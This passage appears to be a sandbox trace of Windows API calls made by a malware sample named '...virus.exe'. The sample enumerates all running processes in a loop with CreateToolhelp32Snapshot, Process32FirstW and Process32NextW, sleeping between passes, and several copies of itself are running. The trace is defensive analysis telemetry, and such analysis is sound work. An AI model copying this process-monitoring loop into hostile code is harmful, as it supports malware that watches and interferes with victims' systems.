lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0167.500] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.501] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0167.501] CloseHandle (hObject=0x1e4) returned 1 [0167.501] Sleep (dwMilliseconds=0x1f4) [0168.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0168.810] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.810] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.810] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.811] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.811] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.811] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.812] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.812] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.813] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.813] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.814] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.814] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.815] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.815] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.815] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.816] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.816] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.816] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.817] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0168.817] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.818] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.818] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.818] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.819] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.819] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0168.820] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0168.820] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.820] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0168.821] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.821] Process32NextW (in: hSnapshot=0x1ec, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0168.822] CloseHandle (hObject=0x1ec) returned 1 [0168.822] Sleep (dwMilliseconds=0x1f4) [0169.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0169.452] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.452] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.452] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.453] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.453] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.453] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.454] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.454] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.454] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.455] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.455] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.456] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.456] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.456] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.462] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.462] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.462] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.463] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.463] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0169.464] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.464] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.472] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.474] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.474] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.475] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0169.475] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0169.475] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.476] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0169.476] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.476] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0169.477] CloseHandle (hObject=0x1e4) returned 1 [0169.477] Sleep (dwMilliseconds=0x1f4) [0170.126] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0170.128] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.128] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.128] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.129] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.129] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.129] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.130] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.130] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.130] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.131] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.131] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.131] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.131] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.132] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.132] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.132] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.133] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.133] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.133] Process32NextW (in: hSnapshot=0x1d0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, 